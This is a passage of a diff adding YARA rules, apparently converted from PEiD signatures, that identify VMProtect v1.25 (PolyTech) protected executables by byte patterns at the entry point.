+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 57 9C 50 53 56 51 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02698_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 52 53 50 56 57 55 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02699_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 52 57 50 53 55 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02700_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 55 50 57 53 56 52 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02701_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 55 53 50 52 53 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02702_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 55 53 53 56 50 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 8B 45 00 36 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02703_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 56 50 52 57 57 55 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 66 8B 55 04 83 C5 06 66 89 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02704_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 57 50 50 56 53 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02705_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 57 50 55 52 56 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02706_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 57 53 50 55 51 52 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02707_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 53 51 9C 55 54 57 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02708_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 53 9C 55 51 54 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02709_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 55 56 9C 57 53 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02710_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 55 9C 51 56 51 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02711_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 55 9C 54 56 53 57 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02712_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 56 57 53 9C 57 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02713_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 9C 55 53 51 56 57 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 01 45 04 9C 8F 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02714_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 51 50 55 57 56 57 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02715_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 51 50 56 55 53 57 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02716_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 51 53 50 57 9C 55 54 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 89 EC 5B 5E 5D 5D 9D 5F 58 5B 59 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02717_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 51 55 57 53 9C 50 52 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02718_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 51 56 53 55 57 9C 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 06 83 ED 04 83 EE FC 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02719_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 51 56 9C 56 53 57 50 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02720_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 52 50 56 57 51 9C 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02721_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 50 55 51 56 9C 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02722_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 50 56 53 57 9C 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 58 59 5D 9D 5F 5A 5E 58 5B 5A C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02723_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 53 9C 57 55 51 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02724_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 55 50 9C 56 54 57 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02725_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 56 55 56 9C 57 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02726_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 57 55 56 51 50 9C 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02727_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 9C 50 56 51 55 54 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02728_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 9C 50 56 51 55 57 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02729_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 54 51 50 55 53 56 9C 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02730_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 54 53 57 51 55 56 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02731_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 54 56 50 9C 55 53 57 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02732_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 50 53 56 51 9C 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02733_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 50 57 53 56 9C 57 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02734_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 53 50 56 53 51 57 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02735_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 56 51 53 50 9C 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02736_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 56 51 9C 53 57 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 06 83 C6 04 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02737_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 56 9C 57 51 50 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02738_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 9C 50 51 57 53 51 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02739_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 9C 55 56 57 51 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02740_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 56 53 50 55 9C 57 51 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02741_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 56 53 51 50 9C 57 50 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02742_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 56 55 9C 56 57 50 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02743_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 56 56 57 55 53 9C 50 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02744_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 56 9C 57 50 53 55 57 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02745_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 57 50 53 51 56 55 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02746_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 57 53 9C 50 50 56 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02747_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 57 53 9C 54 55 51 56 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 45 00 01 45 04 9C 8F 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02748_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 57 56 51 50 9C 55 57 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02749_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 9C 56 53 55 57 54 50 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02750_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 51 51 9C 52 57 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 83 EE FC 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02751_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 51 53 52 57 55 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02752_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 54 9C 51 56 55 57 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02753_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 55 50 51 9C 52 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02754_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
